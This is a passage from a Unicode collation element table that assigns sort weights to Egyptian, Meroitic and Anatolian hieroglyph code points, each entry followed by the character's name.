EGYPTIAN HIEROGLYPH T024 +13325 ; [.4FA1.0020.0002] # EGYPTIAN HIEROGLYPH T025 +13326 ; [.4FA2.0020.0002] # EGYPTIAN HIEROGLYPH T026 +13327 ; [.4FA3.0020.0002] # EGYPTIAN HIEROGLYPH T027 +13328 ; [.4FA4.0020.0002] # EGYPTIAN HIEROGLYPH T028 +13329 ; [.4FA5.0020.0002] # EGYPTIAN HIEROGLYPH T029 +1332A ; [.4FA6.0020.0002] # EGYPTIAN HIEROGLYPH T030 +1332B ; [.4FA7.0020.0002] # EGYPTIAN HIEROGLYPH T031 +1332C ; [.4FA8.0020.0002] # EGYPTIAN HIEROGLYPH T032 +1332D ; [.4FA9.0020.0002] # EGYPTIAN HIEROGLYPH T032A +1332E ; [.4FAA.0020.0002] # EGYPTIAN HIEROGLYPH T033 +1332F ; [.4FAB.0020.0002] # EGYPTIAN HIEROGLYPH T033A +13330 ; [.4FAC.0020.0002] # EGYPTIAN HIEROGLYPH T034 +13331 ; [.4FAD.0020.0002] # EGYPTIAN HIEROGLYPH T035 +13332 ; [.4FAE.0020.0002] # EGYPTIAN HIEROGLYPH T036 +13333 ; [.4FAF.0020.0002] # EGYPTIAN HIEROGLYPH U001 +13334 ; [.4FB0.0020.0002] # EGYPTIAN HIEROGLYPH U002 +13335 ; [.4FB1.0020.0002] # EGYPTIAN HIEROGLYPH U003 +13336 ; [.4FB2.0020.0002] # EGYPTIAN HIEROGLYPH U004 +13337 ; [.4FB3.0020.0002] # EGYPTIAN HIEROGLYPH U005 +13338 ; [.4FB4.0020.0002] # EGYPTIAN HIEROGLYPH U006 +13339 ; [.4FB5.0020.0002] # EGYPTIAN HIEROGLYPH U006A +1333A ; [.4FB6.0020.0002] # EGYPTIAN HIEROGLYPH U006B +1333B ; [.4FB7.0020.0002] # EGYPTIAN HIEROGLYPH U007 +1333C ; [.4FB8.0020.0002] # EGYPTIAN HIEROGLYPH U008 +1333D ; [.4FB9.0020.0002] # EGYPTIAN HIEROGLYPH U009 +1333E ; [.4FBA.0020.0002] # EGYPTIAN HIEROGLYPH U010 +1333F ; [.4FBB.0020.0002] # EGYPTIAN HIEROGLYPH U011 +13340 ; [.4FBC.0020.0002] # EGYPTIAN HIEROGLYPH U012 +13341 ; [.4FBD.0020.0002] # EGYPTIAN HIEROGLYPH U013 +13342 ; [.4FBE.0020.0002] # EGYPTIAN HIEROGLYPH U014 +13343 ; [.4FBF.0020.0002] # EGYPTIAN HIEROGLYPH U015 +13344 ; [.4FC0.0020.0002] # EGYPTIAN HIEROGLYPH U016 +13345 ; [.4FC1.0020.0002] # EGYPTIAN HIEROGLYPH U017 +13346 ; [.4FC2.0020.0002] # EGYPTIAN HIEROGLYPH U018 +13347 ; [.4FC3.0020.0002] # EGYPTIAN HIEROGLYPH U019 +13348 ; [.4FC4.0020.0002] # EGYPTIAN HIEROGLYPH U020 +13349 ; [.4FC5.0020.0002] # EGYPTIAN HIEROGLYPH U021 +1334A ; [.4FC6.0020.0002] # EGYPTIAN HIEROGLYPH U022 +1334B ; [.4FC7.0020.0002] # EGYPTIAN HIEROGLYPH U023 +1334C ; [.4FC8.0020.0002] # EGYPTIAN HIEROGLYPH U023A +1334D ; [.4FC9.0020.0002] # EGYPTIAN HIEROGLYPH U024 +1334E ; [.4FCA.0020.0002] # EGYPTIAN HIEROGLYPH U025 +1334F ; [.4FCB.0020.0002] # EGYPTIAN HIEROGLYPH U026 +13350 ; [.4FCC.0020.0002] # EGYPTIAN HIEROGLYPH U027 +13351 ; [.4FCD.0020.0002] # EGYPTIAN HIEROGLYPH U028 +13352 ; [.4FCE.0020.0002] # EGYPTIAN HIEROGLYPH U029 +13353 ; [.4FCF.0020.0002] # EGYPTIAN HIEROGLYPH U029A +13354 ; [.4FD0.0020.0002] # EGYPTIAN HIEROGLYPH U030 +13355 ; [.4FD1.0020.0002] # EGYPTIAN HIEROGLYPH U031 +13356 ; [.4FD2.0020.0002] # EGYPTIAN HIEROGLYPH U032 +13357 ; [.4FD3.0020.0002] # EGYPTIAN HIEROGLYPH U032A +13358 ; [.4FD4.0020.0002] # EGYPTIAN HIEROGLYPH U033 +13359 ; [.4FD5.0020.0002] # EGYPTIAN HIEROGLYPH U034 +1335A ; [.4FD6.0020.0002] # EGYPTIAN HIEROGLYPH U035 +1335B ; [.4FD7.0020.0002] # EGYPTIAN HIEROGLYPH U036 +1335C ; [.4FD8.0020.0002] # EGYPTIAN HIEROGLYPH U037 +1335D ; [.4FD9.0020.0002] # EGYPTIAN HIEROGLYPH U038 +1335E ; [.4FDA.0020.0002] # EGYPTIAN HIEROGLYPH U039 +1335F ; [.4FDB.0020.0002] # EGYPTIAN HIEROGLYPH U040 +13360 ; [.4FDC.0020.0002] # EGYPTIAN HIEROGLYPH U041 +13361 ; [.4FDD.0020.0002] # EGYPTIAN HIEROGLYPH U042 +13362 ; [.4FDE.0020.0002] # EGYPTIAN HIEROGLYPH V001 +13363 ; [.4FDF.0020.0002] # EGYPTIAN HIEROGLYPH V001A +13364 ; [.4FE0.0020.0002] # EGYPTIAN HIEROGLYPH V001B +13365 ; [.4FE1.0020.0002] # EGYPTIAN HIEROGLYPH V001C +13366 ; [.4FE2.0020.0002] # EGYPTIAN HIEROGLYPH V001D +13367 ; [.4FE3.0020.0002] # EGYPTIAN HIEROGLYPH V001E +13368 ; [.4FE4.0020.0002] # EGYPTIAN HIEROGLYPH V001F +13369 ; [.4FE5.0020.0002] # EGYPTIAN HIEROGLYPH V001G +1336A ; [.4FE6.0020.0002] # EGYPTIAN HIEROGLYPH V001H +1336B ; [.4FE7.0020.0002] # EGYPTIAN HIEROGLYPH V001I +1336C ; [.4FE8.0020.0002] # EGYPTIAN HIEROGLYPH V002 +1336D ; [.4FE9.0020.0002] # EGYPTIAN HIEROGLYPH V002A +1336E ; [.4FEA.0020.0002] # EGYPTIAN HIEROGLYPH V003 +1336F ; [.4FEB.0020.0002] # EGYPTIAN HIEROGLYPH V004 +13370 ; [.4FEC.0020.0002] # EGYPTIAN HIEROGLYPH V005 +13371 ; [.4FED.0020.0002] # EGYPTIAN HIEROGLYPH V006 +13372 ; [.4FEE.0020.0002] # EGYPTIAN HIEROGLYPH V007 +13373 ; [.4FEF.0020.0002] # EGYPTIAN HIEROGLYPH V007A +13374 ; [.4FF0.0020.0002] # EGYPTIAN HIEROGLYPH V007B +13375 ; [.4FF1.0020.0002] # EGYPTIAN HIEROGLYPH V008 +13376 ; [.4FF2.0020.0002] # EGYPTIAN HIEROGLYPH V009 +13377 ; [.4FF3.0020.0002] # EGYPTIAN HIEROGLYPH V010 +13378 ; [.4FF4.0020.0002] # EGYPTIAN HIEROGLYPH V011 +13379 ; [.4FF5.0020.0002] # EGYPTIAN HIEROGLYPH V011A +1337A ; [.4FF6.0020.0002] # EGYPTIAN HIEROGLYPH V011B +1337B ; [.4FF7.0020.0002] # EGYPTIAN HIEROGLYPH V011C +1337C ; [.4FF8.0020.0002] # EGYPTIAN HIEROGLYPH V012 +1337D ; [.4FF9.0020.0002] # EGYPTIAN HIEROGLYPH V012A +1337E ; [.4FFA.0020.0002] # EGYPTIAN HIEROGLYPH V012B +1337F ; [.4FFB.0020.0002] # EGYPTIAN HIEROGLYPH V013 +13380 ; [.4FFC.0020.0002] # EGYPTIAN HIEROGLYPH V014 +13381 ; [.4FFD.0020.0002] # EGYPTIAN HIEROGLYPH V015 +13382 ; [.4FFE.0020.0002] # EGYPTIAN HIEROGLYPH V016 +13383 ; [.4FFF.0020.0002] # EGYPTIAN HIEROGLYPH V017 +13384 ; [.5000.0020.0002] # EGYPTIAN HIEROGLYPH V018 +13385 ; [.5001.0020.0002] # EGYPTIAN HIEROGLYPH V019 +13386 ; [.5002.0020.0002] # EGYPTIAN HIEROGLYPH V020 +13387 ; [.5003.0020.0002] # EGYPTIAN HIEROGLYPH V020A +13388 ; [.5004.0020.0002] # EGYPTIAN HIEROGLYPH V020B +13389 ; [.5005.0020.0002] # EGYPTIAN HIEROGLYPH V020C +1338A ; [.5006.0020.0002] # EGYPTIAN HIEROGLYPH V020D +1338B ; [.5007.0020.0002] # EGYPTIAN HIEROGLYPH V020E +1338C ; [.5008.0020.0002] # EGYPTIAN HIEROGLYPH V020F +1338D ; [.5009.0020.0002] # EGYPTIAN HIEROGLYPH V020G +1338E ; [.500A.0020.0002] # EGYPTIAN HIEROGLYPH V020H +1338F ; [.500B.0020.0002] # EGYPTIAN HIEROGLYPH V020I +13390 ; [.500C.0020.0002] # EGYPTIAN HIEROGLYPH V020J +13391 ; [.500D.0020.0002] # EGYPTIAN HIEROGLYPH V020K +13392 ; [.500E.0020.0002] # EGYPTIAN HIEROGLYPH V020L +13393 ; [.500F.0020.0002] # EGYPTIAN HIEROGLYPH V021 +13394 ; [.5010.0020.0002] # EGYPTIAN HIEROGLYPH V022 +13395 ; [.5011.0020.0002] # EGYPTIAN HIEROGLYPH V023 +13396 ; [.5012.0020.0002] # EGYPTIAN HIEROGLYPH V023A +13397 ; [.5013.0020.0002] # EGYPTIAN HIEROGLYPH V024 +13398 ; [.5014.0020.0002] # EGYPTIAN HIEROGLYPH V025 +13399 ; [.5015.0020.0002] # EGYPTIAN HIEROGLYPH V026 +1339A ; [.5016.0020.0002] # EGYPTIAN HIEROGLYPH V027 +1339B ; [.5017.0020.0002] # EGYPTIAN HIEROGLYPH V028 +1339C ; [.5018.0020.0002] # EGYPTIAN HIEROGLYPH V028A +1339D ; [.5019.0020.0002] # EGYPTIAN HIEROGLYPH V029 +1339E ; [.501A.0020.0002] # EGYPTIAN HIEROGLYPH V029A +1339F ; [.501B.0020.0002] # EGYPTIAN HIEROGLYPH V030 +133A0 ; [.501C.0020.0002] # EGYPTIAN HIEROGLYPH V030A +133A1 ; [.501D.0020.0002] # EGYPTIAN HIEROGLYPH V031 +133A2 ; [.501E.0020.0002] # EGYPTIAN HIEROGLYPH V031A +133A3 ; [.501F.0020.0002] # EGYPTIAN HIEROGLYPH V032 +133A4 ; [.5020.0020.0002] # EGYPTIAN HIEROGLYPH V033 +133A5 ; [.5021.0020.0002] # EGYPTIAN HIEROGLYPH V033A +133A6 ; [.5022.0020.0002] # EGYPTIAN HIEROGLYPH V034 +133A7 ; [.5023.0020.0002] # EGYPTIAN HIEROGLYPH V035 +133A8 ; [.5024.0020.0002] # EGYPTIAN HIEROGLYPH V036 +133A9 ; [.5025.0020.0002] # EGYPTIAN HIEROGLYPH V037 +133AA ; [.5026.0020.0002] # EGYPTIAN HIEROGLYPH V037A +133AB ; [.5027.0020.0002] # EGYPTIAN HIEROGLYPH V038 +133AC ; [.5028.0020.0002] # EGYPTIAN HIEROGLYPH V039 +133AD ; [.5029.0020.0002] # EGYPTIAN HIEROGLYPH V040 +133AE ; [.502A.0020.0002] # EGYPTIAN HIEROGLYPH V040A +133AF ; [.502B.0020.0002] # EGYPTIAN HIEROGLYPH W001 +133B0 ; [.502C.0020.0002] # EGYPTIAN HIEROGLYPH W002 +133B1 ; [.502D.0020.0002] # EGYPTIAN HIEROGLYPH W003 +133B2 ; [.502E.0020.0002] # EGYPTIAN HIEROGLYPH W003A +133B3 ; [.502F.0020.0002] # EGYPTIAN HIEROGLYPH W004 +133B4 ; [.5030.0020.0002] # EGYPTIAN HIEROGLYPH W005 +133B5 ; [.5031.0020.0002] # EGYPTIAN HIEROGLYPH W006 +133B6 ; [.5032.0020.0002] # EGYPTIAN HIEROGLYPH W007 +133B7 ; [.5033.0020.0002] # EGYPTIAN HIEROGLYPH W008 +133B8 ; [.5034.0020.0002] # EGYPTIAN HIEROGLYPH W009 +133B9 ; [.5035.0020.0002] # EGYPTIAN HIEROGLYPH W009A +133BA ; [.5036.0020.0002] # EGYPTIAN HIEROGLYPH W010 +133BB ; [.5037.0020.0002] # EGYPTIAN HIEROGLYPH W010A +133BC ; [.5038.0020.0002] # EGYPTIAN HIEROGLYPH W011 +133BD ; [.5039.0020.0002] # EGYPTIAN HIEROGLYPH W012 +133BE ; [.503A.0020.0002] # EGYPTIAN HIEROGLYPH W013 +133BF ; [.503B.0020.0002] # EGYPTIAN HIEROGLYPH W014 +133C0 ; [.503C.0020.0002] # EGYPTIAN HIEROGLYPH W014A +133C1 ; [.503D.0020.0002] # EGYPTIAN HIEROGLYPH W015 +133C2 ; [.503E.0020.0002] # EGYPTIAN HIEROGLYPH W016 +133C3 ; [.503F.0020.0002] # EGYPTIAN HIEROGLYPH W017 +133C4 ; [.5040.0020.0002] # EGYPTIAN HIEROGLYPH W017A +133C5 ; [.5041.0020.0002] # EGYPTIAN HIEROGLYPH W018 +133C6 ; [.5042.0020.0002] # EGYPTIAN HIEROGLYPH W018A +133C7 ; [.5043.0020.0002] # EGYPTIAN HIEROGLYPH W019 +133C8 ; [.5044.0020.0002] # EGYPTIAN HIEROGLYPH W020 +133C9 ; [.5045.0020.0002] # EGYPTIAN HIEROGLYPH W021 +133CA ; [.5046.0020.0002] # EGYPTIAN HIEROGLYPH W022 +133CB ; [.5047.0020.0002] # EGYPTIAN HIEROGLYPH W023 +133CC ; [.5048.0020.0002] # EGYPTIAN HIEROGLYPH W024 +133CD ; [.5049.0020.0002] # EGYPTIAN HIEROGLYPH W024A +133CE ; [.504A.0020.0002] # EGYPTIAN HIEROGLYPH W025 +133CF ; [.504B.0020.0002] # EGYPTIAN HIEROGLYPH X001 +133D0 ; [.504C.0020.0002] # EGYPTIAN HIEROGLYPH X002 +133D1 ; [.504D.0020.0002] # EGYPTIAN HIEROGLYPH X003 +133D2 ; [.504E.0020.0002] # EGYPTIAN HIEROGLYPH X004 +133D3 ; [.504F.0020.0002] # EGYPTIAN HIEROGLYPH X004A +133D4 ; [.5050.0020.0002] # EGYPTIAN HIEROGLYPH X004B +133D5 ; [.5051.0020.0002] # EGYPTIAN HIEROGLYPH X005 +133D6 ; [.5052.0020.0002] # EGYPTIAN HIEROGLYPH X006 +133D7 ; [.5053.0020.0002] # EGYPTIAN HIEROGLYPH X006A +133D8 ; [.5054.0020.0002] # EGYPTIAN HIEROGLYPH X007 +133D9 ; [.5055.0020.0002] # EGYPTIAN HIEROGLYPH X008 +133DA ; [.5056.0020.0002] # EGYPTIAN HIEROGLYPH X008A +133DB ; [.5057.0020.0002] # EGYPTIAN HIEROGLYPH Y001 +133DC ; [.5058.0020.0002] # EGYPTIAN HIEROGLYPH Y001A +133DD ; [.5059.0020.0002] # EGYPTIAN HIEROGLYPH Y002 +133DE ; [.505A.0020.0002] # EGYPTIAN HIEROGLYPH Y003 +133DF ; [.505B.0020.0002] # EGYPTIAN HIEROGLYPH Y004 +133E0 ; [.505C.0020.0002] # EGYPTIAN HIEROGLYPH Y005 +133E1 ; [.505D.0020.0002] # EGYPTIAN HIEROGLYPH Y006 +133E2 ; [.505E.0020.0002] # EGYPTIAN HIEROGLYPH Y007 +133E3 ; [.505F.0020.0002] # EGYPTIAN HIEROGLYPH Y008 +133E4 ; [.5060.0020.0002] # EGYPTIAN HIEROGLYPH Z001 +133E5 ; [.5061.0020.0002] # EGYPTIAN HIEROGLYPH Z002 +133E6 ; [.5062.0020.0002] # EGYPTIAN HIEROGLYPH Z002A +133E7 ; [.5063.0020.0002] # EGYPTIAN HIEROGLYPH Z002B +133E8 ; [.5064.0020.0002] # EGYPTIAN HIEROGLYPH Z002C +133E9 ; [.5065.0020.0002] # EGYPTIAN HIEROGLYPH Z002D +133EA ; [.5066.0020.0002] # EGYPTIAN HIEROGLYPH Z003 +133EB ; [.5067.0020.0002] # EGYPTIAN HIEROGLYPH Z003A +133EC ; [.5068.0020.0002] # EGYPTIAN HIEROGLYPH Z003B +133ED ; [.5069.0020.0002] # EGYPTIAN HIEROGLYPH Z004 +133EE ; [.506A.0020.0002] # EGYPTIAN HIEROGLYPH Z004A +133EF ; [.506B.0020.0002] # EGYPTIAN HIEROGLYPH Z005 +133F0 ; [.506C.0020.0002] # EGYPTIAN HIEROGLYPH Z005A +133F1 ; [.506D.0020.0002] # EGYPTIAN HIEROGLYPH Z006 +133F2 ; [.506E.0020.0002] # EGYPTIAN HIEROGLYPH Z007 +133F3 ; [.506F.0020.0002] # EGYPTIAN HIEROGLYPH Z008 +133F4 ; [.5070.0020.0002] # EGYPTIAN HIEROGLYPH Z009 +133F5 ; [.5071.0020.0002] # EGYPTIAN HIEROGLYPH Z010 +133F6 ; [.5072.0020.0002] # EGYPTIAN HIEROGLYPH Z011 +133F7 ; [.5073.0020.0002] # EGYPTIAN HIEROGLYPH Z012 +133F8 ; [.5074.0020.0002] # EGYPTIAN HIEROGLYPH Z013 +133F9 ; [.5075.0020.0002] # EGYPTIAN HIEROGLYPH Z014 +133FA ; [.5076.0020.0002] # EGYPTIAN HIEROGLYPH Z015 +133FB ; [.5077.0020.0002] # EGYPTIAN HIEROGLYPH Z015A +133FC ; [.5078.0020.0002] # EGYPTIAN HIEROGLYPH Z015B +133FD ; [.5079.0020.0002] # EGYPTIAN HIEROGLYPH Z015C +133FE ; [.507A.0020.0002] # EGYPTIAN HIEROGLYPH Z015D +133FF ; [.507B.0020.0002] # EGYPTIAN HIEROGLYPH Z015E +13400 ; [.507C.0020.0002] # EGYPTIAN HIEROGLYPH Z015F +13401 ; [.507D.0020.0002] # EGYPTIAN HIEROGLYPH Z015G +13402 ; [.507E.0020.0002] # EGYPTIAN HIEROGLYPH Z015H +13403 ; [.507F.0020.0002] # EGYPTIAN HIEROGLYPH Z015I +13404 ; [.5080.0020.0002] # EGYPTIAN HIEROGLYPH Z016 +13405 ; [.5081.0020.0002] # EGYPTIAN HIEROGLYPH Z016A +13406 ; [.5082.0020.0002] # EGYPTIAN HIEROGLYPH Z016B +13407 ; [.5083.0020.0002] # EGYPTIAN HIEROGLYPH Z016C +13408 ; [.5084.0020.0002] # EGYPTIAN HIEROGLYPH Z016D +13409 ; [.5085.0020.0002] # EGYPTIAN HIEROGLYPH Z016E +1340A ; [.5086.0020.0002] # EGYPTIAN HIEROGLYPH Z016F +1340B ; [.5087.0020.0002] # EGYPTIAN HIEROGLYPH Z016G +1340C ; [.5088.0020.0002] # EGYPTIAN HIEROGLYPH Z016H +1340D ; [.5089.0020.0002] # EGYPTIAN HIEROGLYPH AA001 +1340E ; [.508A.0020.0002] # EGYPTIAN HIEROGLYPH AA002 +1340F ; [.508B.0020.0002] # EGYPTIAN HIEROGLYPH AA003 +13410 ; [.508C.0020.0002] # EGYPTIAN HIEROGLYPH AA004 +13411 ; [.508D.0020.0002] # EGYPTIAN HIEROGLYPH AA005 +13412 ; [.508E.0020.0002] # EGYPTIAN HIEROGLYPH AA006 +13413 ; [.508F.0020.0002] # EGYPTIAN HIEROGLYPH AA007 +13414 ; [.5090.0020.0002] # EGYPTIAN HIEROGLYPH AA007A +13415 ; [.5091.0020.0002] # EGYPTIAN HIEROGLYPH AA007B +13416 ; [.5092.0020.0002] # EGYPTIAN HIEROGLYPH AA008 +13417 ; [.5093.0020.0002] # EGYPTIAN HIEROGLYPH AA009 +13418 ; [.5094.0020.0002] # EGYPTIAN HIEROGLYPH AA010 +13419 ; [.5095.0020.0002] # EGYPTIAN HIEROGLYPH AA011 +1341A ; [.5096.0020.0002] # EGYPTIAN HIEROGLYPH AA012 +1341B ; [.5097.0020.0002] # EGYPTIAN HIEROGLYPH AA013 +1341C ; [.5098.0020.0002] # EGYPTIAN HIEROGLYPH AA014 +1341D ; [.5099.0020.0002] # EGYPTIAN HIEROGLYPH AA015 +1341E ; [.509A.0020.0002] # EGYPTIAN HIEROGLYPH AA016 +1341F ; [.509B.0020.0002] # EGYPTIAN HIEROGLYPH AA017 +13420 ; [.509C.0020.0002] # EGYPTIAN HIEROGLYPH AA018 +13421 ; [.509D.0020.0002] # EGYPTIAN HIEROGLYPH AA019 +13422 ; [.509E.0020.0002] # EGYPTIAN HIEROGLYPH AA020 +13423 ; [.509F.0020.0002] # EGYPTIAN HIEROGLYPH AA021 +13424 ; [.50A0.0020.0002] # EGYPTIAN HIEROGLYPH AA022 +13425 ; [.50A1.0020.0002] # EGYPTIAN HIEROGLYPH AA023 +13426 ; [.50A2.0020.0002] # EGYPTIAN HIEROGLYPH AA024 +13427 ; [.50A3.0020.0002] # EGYPTIAN HIEROGLYPH AA025 +13428 ; [.50A4.0020.0002] # EGYPTIAN HIEROGLYPH AA026 +13429 ; [.50A5.0020.0002] # EGYPTIAN HIEROGLYPH AA027 +1342A ; [.50A6.0020.0002] # EGYPTIAN HIEROGLYPH AA028 +1342B ; [.50A7.0020.0002] # EGYPTIAN HIEROGLYPH AA029 +1342C ; [.50A8.0020.0002] # EGYPTIAN HIEROGLYPH AA030 +1342D ; [.50A9.0020.0002] # EGYPTIAN HIEROGLYPH AA031 +1342E ; [.50AA.0020.0002] # EGYPTIAN HIEROGLYPH AA032 +109A0 ; [.50AB.0020.0002] # MEROITIC CURSIVE LETTER A +10980 ; [.50AB.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER A +109A1 ; [.50AC.0020.0002] # MEROITIC CURSIVE LETTER E +10981 ; [.50AC.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER E +109A2 ; [.50AD.0020.0002] # MEROITIC CURSIVE LETTER I +10982 ; [.50AD.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER I +109A3 ; [.50AE.0020.0002] # MEROITIC CURSIVE LETTER O +10983 ; [.50AE.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER O +109A4 ; [.50AF.0020.0002] # MEROITIC CURSIVE LETTER YA +10984 ; [.50AF.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER YA +109A5 ; [.50B0.0020.0002] # MEROITIC CURSIVE LETTER WA +10985 ; [.50B0.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER WA +109A6 ; [.50B1.0020.0002] # MEROITIC CURSIVE LETTER BA +10986 ; [.50B1.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER BA +10987 ; [.50B1.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER BA-2 +109A7 ; [.50B2.0020.0002] # MEROITIC CURSIVE LETTER PA +10988 ; [.50B2.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER PA +109A8 ; [.50B3.0020.0002] # MEROITIC CURSIVE LETTER MA +10989 ; [.50B3.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER MA +109A9 ; [.50B4.0020.0002] # MEROITIC CURSIVE LETTER NA +1098A ; [.50B4.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER NA +1098B ; [.50B4.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER NA-2 +109AA ; [.50B5.0020.0002] # MEROITIC CURSIVE LETTER NE +1098C ; [.50B5.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER NE +1098D ; [.50B5.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER NE-2 +109AB ; [.50B6.0020.0002] # MEROITIC CURSIVE LETTER RA +1098E ; [.50B6.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER RA +1098F ; [.50B6.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER RA-2 +109AC ; [.50B7.0020.0002] # MEROITIC CURSIVE LETTER LA +10990 ; [.50B7.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER LA +109AD ; [.50B8.0020.0002] # MEROITIC CURSIVE LETTER KHA +10991 ; [.50B8.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER KHA +109AE ; [.50B9.0020.0002] # MEROITIC CURSIVE LETTER HHA +10992 ; [.50B9.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER HHA +109AF ; [.50BA.0020.0002] # MEROITIC CURSIVE LETTER SA +109B0 ; [.50BA.0020.0004][.0000.010B.0004] # MEROITIC CURSIVE LETTER ARCHAIC SA +10993 ; [.50BA.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER SA +10994 ; [.50BA.0020.0004][.0000.010D.0004] # MEROITIC HIEROGLYPHIC LETTER SA-2 +109B1 ; [.50BB.0020.0002] # MEROITIC CURSIVE LETTER SE +10995 ; [.50BB.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER SE +109B2 ; [.50BC.0020.0002] # MEROITIC CURSIVE LETTER KA +10996 ; [.50BC.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER KA +109B3 ; [.50BD.0020.0002] # MEROITIC CURSIVE LETTER QA +10997 ; [.50BD.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER QA +109B4 ; [.50BE.0020.0002] # MEROITIC CURSIVE LETTER TA +10998 ; [.50BE.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER TA +10999 ; [.50BE.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER TA-2 +109B5 ; [.50BF.0020.0002] # MEROITIC CURSIVE LETTER TE +1099A ; [.50BF.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER TE +1099B ; [.50BF.0020.0004][.0000.010C.0004] # MEROITIC HIEROGLYPHIC LETTER TE-2 +109B6 ; [.50C0.0020.0002] # MEROITIC CURSIVE LETTER TO +1099C ; [.50C0.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER TO +109B7 ; [.50C1.0020.0002] # MEROITIC CURSIVE LETTER DA +1099D ; [.50C1.0020.0004][.0000.010B.0004] # MEROITIC HIEROGLYPHIC LETTER DA +109BE ; [.50C2.0020.0002] # MEROITIC CURSIVE LOGOGRAM RMT +109BF ; [.50C3.0020.0002] # MEROITIC CURSIVE LOGOGRAM IMN +1099E ; [.50C4.0020.0002] # MEROITIC HIEROGLYPHIC SYMBOL VIDJ +1099F ; [.50C5.0020.0002] # MEROITIC HIEROGLYPHIC SYMBOL VIDJ-2 +14400 ; [.50C6.0020.0002] # ANATOLIAN HIEROGLYPH A001 +14401 ; [.50C7.0020.0002] # ANATOLIAN HIEROGLYPH A002 +14402 ; [.50C8.0020.0002] # ANATOLIAN HIEROGLYPH A003 +14403 ; [.50C9.0020.0002] # ANATOLIAN HIEROGLYPH A004 +14404 ; [.50CA.0020.0002] # ANATOLIAN HIEROGLYPH A005 +14405 ; [.50CB.0020.0002] # ANATOLIAN HIEROGLYPH A006 +14406 ; [.50CC.0020.0002] # ANATOLIAN HIEROGLYPH A007 +14407 ; [.50CD.0020.0002] # ANATOLIAN HIEROGLYPH A008 +14408 ; [.50CE.0020.0002] # ANATOLIAN HIEROGLYPH A009 +14409 ; [.50CF.0020.0002] # ANATOLIAN HIEROGLYPH A010 +1440A ; [.50D0.0020.0002] # ANATOLIAN HIEROGLYPH A010A +1440B ; [.50D1.0020.0002] # ANATOLIAN HIEROGLYPH A011 +1440C ; [.50D2.0020.0002] # ANATOLIAN HIEROGLYPH A012 +1440D ; [.50D3.0020.0002] # ANATOLIAN HIEROGLYPH A013 +1440E ; [.50D4.0020.0002] # ANATOLIAN HIEROGLYPH A014 +1440F ; [.50D5.0020.0002] # ANATOLIAN HIEROGLYPH A015 +14410 ; [.50D6.0020.0002] # ANATOLIAN HIEROGLYPH A016 +14411 ; [.50D7.0020.0002] # ANATOLIAN HIEROGLYPH A017 +14412 ; [.50D8.0020.0002] # ANATOLIAN HIEROGLYPH A018 +14413 ; [.50D9.0020.0002] # ANATOLIAN HIEROGLYPH A019 +14414 ; [.50DA.0020.0002] # ANATOLIAN HIEROGLYPH A020 +14415 ; [.50DB.0020.0002] # ANATOLIAN HIEROGLYPH A021 +14416 ; [.50DC.0020.0002] # ANATOLIAN HIEROGLYPH A022 +14417 ; [.50DD.0020.0002] # ANATOLIAN HIEROGLYPH A023 +14418 ; [.50DE.0020.0002] # ANATOLIAN HIEROGLYPH A024 +14419 ; [.50DF.0020.0002] # ANATOLIAN HIEROGLYPH A025 +1441A ; [.50E0.0020.0002] # ANATOLIAN HIEROGLYPH A026 +1441B ; [.50E1.0020.0002] # ANATOLIAN HIEROGLYPH A026A +1441C ; [.50E2.0020.0002] # ANATOLIAN HIEROGLYPH A027 +1441D ; [.50E3.0020.0002] # ANATOLIAN HIEROGLYPH A028 +1441E ; [.50E4.0020.0002] # ANATOLIAN HIEROGLYPH A029 +1441F ; [.50E5.0020.0002] # ANATOLIAN HIEROGLYPH A030 +14420 ; [.50E6.0020.0002] # ANATOLIAN HIEROGLYPH A031 +14421 ; [.50E7.0020.0002] # ANATOLIAN HIEROGLYPH A032 +14422 ; [.50E8.0020.0002] # ANATOLIAN HIEROGLYPH A033 +14423 ; [.50E9.0020.0002] # ANATOLIAN HIEROGLYPH A034 +14424 ; [.50EA.0020.0002] # ANATOLIAN HIEROGLYPH A035 +14425 ; [.50EB.0020.0002] # ANATOLIAN HIEROGLYPH A036 +14426 ; [.50EC.0020.0002] # ANATOLIAN HIEROGLYPH A037 +14427 ; [.50ED.0020.0002] # ANATOLIAN HIEROGLYPH A038 +14428 ; [.50EE.0020.0002] # ANATOLIAN HIEROGLYPH A039 +14429 ; [.50EF.0020.0002] # ANATOLIAN HIEROGLYPH A039A +1442A ; [.50F0.0020.0002] # ANATOLIAN HIEROGLYPH A040 +1442B ; [.50F1.0020.0002] # ANATOLIAN HIEROGLYPH A041 +1442C ; [.50F2.0020.0002] # ANATOLIAN HIEROGLYPH A041A +1442D ; [.50F3.0020.0002] # ANATOLIAN HIEROGLYPH A042 +1442E ; [.50F4.0020.0002] # ANATOLIAN HIEROGLYPH A043 +1442F ; 